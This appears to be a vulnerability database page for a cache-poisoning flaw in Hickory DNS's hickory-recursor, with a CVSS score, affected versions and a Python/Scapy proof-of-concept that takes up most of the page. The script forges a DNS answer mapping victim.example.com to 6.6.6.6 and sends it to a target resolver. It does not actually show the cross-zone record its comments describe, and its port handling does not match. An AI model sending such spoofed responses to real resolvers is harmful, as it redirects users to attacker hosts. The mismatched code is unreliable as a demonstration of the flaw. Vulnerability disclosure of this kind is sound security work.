Hickory DNS hickory-recursor 0.1 through 0.25.2 allows cross-zone poisoning because cached data is not directly associated with a query that triggered a response.
CVSS Details
CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
hickory-recursor 0.1
hickory-recursor 0.25.2
hickory-recursor 0.1 through 0.25.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-42254 (Hickory DNS Cross-Zone Poisoning)
Note: This is a conceptual demonstration. Scapy is required.
"""
from scapy.all import IP, UDP, DNS, DNSRR, DNSQR, send
def send_poison_response(target_ip, src_port, transaction_id):
"""
Sends a crafted DNS response to poison the cache.
The attack exploits the lack of association between the query and cached data.
"""
# Construct a malicious DNS response indicating a cross-zone record
# Example: Poisoning 'example.com' with a record from 'attacker.com'
dns_pkt = IP(dst=target_ip)/UDP(dport=src_port)/DNS(
id=transaction_id,
qr=1, # Response
aa=0, # Not authoritative
rcode=0,
qd=DNSQR(qname="victim.example.com"),
an=DNSRR(
rrname="victim.example.com",
type="A",
ttl=3600,
rdata="6.6.6.6" # Malicious IP
)
)
print(f"[*] Sending poison packet to {target_ip}...")
send(dns_pkt, verbose=0)
print("[+] Packet sent.")
if __name__ == "__main__":
# Configuration
target_dns = "192.168.1.100" # Target Hickory Recursor IP
dns_port = 53
tid = 12345 # Transaction ID to guess or match
send_poison_response(target_dns, dns_port, tid)